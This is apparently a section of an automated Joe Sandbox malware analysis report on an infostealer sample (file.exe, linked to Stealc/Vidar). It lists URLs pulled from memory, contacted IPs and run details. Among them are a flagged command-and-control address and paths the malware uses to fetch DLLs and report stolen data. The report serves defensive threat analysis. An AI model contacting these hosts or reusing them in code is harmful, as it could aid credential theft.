http://anglebug.com/4633	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dllz	file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/=	chrome.exe, 00000002.00000003.2291061751.00003BD801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2291036316.00003BD80171C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crbug.com/368855.)	chrome.exe, 00000002.00000003.2226340612.00003BD8002B4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://anglebug.com/7714	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.instagram.com	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://i.y.qq.com/n2/m/index.html	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://www.deezer.com/	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://web.telegram.org/	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?q=	chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000002.00000003.2235970542.00003BD800CBC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2405188749.000036F40237C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.2279071890.00003BD8011A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279870415.00003BD8012B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281498895.00003BD8010D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279235426.00003BD80129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279814878.00003BD80110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281519993.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2279262878.00003BD8012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2282609654.00003BD80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2284079340.00003BD80140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281478100.00003BD80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281949667.00003BD800318000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2514950284.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2412398191.0000000023B0D000.00000004.00000020.00020000.00000000.sdmp, IJDHCBGH.0.dr, GCGHJEBG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	IJDHCBGH.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll0	file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	GIDBKKKKKFBGDGDHIDBGHIEBGD.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/7556	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2405188749.000036F40237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000002.00000003.2212437038.00003BD8004A4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2286982629.00003BD801500000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2320972478.000036F402470000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/0/	f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	false		unknown
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/presentation/J	chrome.exe, 00000002.00000003.2294399036.00003BD800EF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2534138623.0000000023B00000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	false		unknown
http://anglebug.com/3862	chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.198.7.185	unknown	United States	20940	AKAMAI-ASN1EU	false
18.245.113.126	unknown	United States	16509	AMAZON-02US	false
131.253.33.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.189.173.15	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.182	unknown	United States	24835	RAYA-ASEG	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.173	unknown	United States	16625	AKAMAI-ASUS	false
23.221.22.206	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
4.152.133.8	unknown	United States	3356	LEVEL3US	false
23.198.7.171	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.123.243.94	svc.ms-acdc-teams.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.16
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545612
Start date and time:	2024-10-30 18:05:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@65/295@22/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 142.250.184.238, 74.125.71.84, 34.104.35.123, 93.184.221.240, 192.229.221.95, 204.79.197.203, 204.79.197.239, 13.107.21.239, 216.58.206.78, 13.107.6.158, 2.19.126.152, 2.19.126.145, 48.209.144.71, 104.124.11.163, 104.124.11.224, 2.23.209.149, 2.23.209.131, 2.23.209.141, 2.23.209.140, 2.23.209.150, 2.23.209.148, 2.23.209.144, 2.23.209.133, 2.23.209.135, 2.23.209.187, 2.23.209.179, 2.23.209.189, 2.23.209.182, 2.23.209.183, 2.23.209.185, 2.23.209.177, 2.23.209.130, 13.74.129.1, 23.38.98.116, 23.38.98.109, 23.38.98.108, 23.38.98.121, 23.38.98.113, 23.38.98.115, 23.38.98.110, 23.38.98.111, 23.38.98.105, 13.107.21.237, 204.79.197.237, 2.23.209.132, 172.205.80.42, 142.250.113.94, 142.251.116.94, 142.250.115.94
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, prod-agic-ne-7.northeurope.cloudapp.azure.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, edge-microsoft-com.dual-a-0036.a-m
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:06:40	API Interceptor	56x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
20.125.209.212	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
162.159.61.3	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
18.245.113.126	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://americanexpress.io	Get hash	malicious	Unknown	Browse
	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
131.253.33.203	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	invoice 700898 for wallcentre.com.shtml	Get hash	malicious	Unknown	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	edge_x86_KB91412024.exe	Get hash	malicious	Unknown	Browse
	https://unanimcar.club/a3662561be7feec2969c9f2dcb3bc8d0	Get hash	malicious	Unknown	Browse
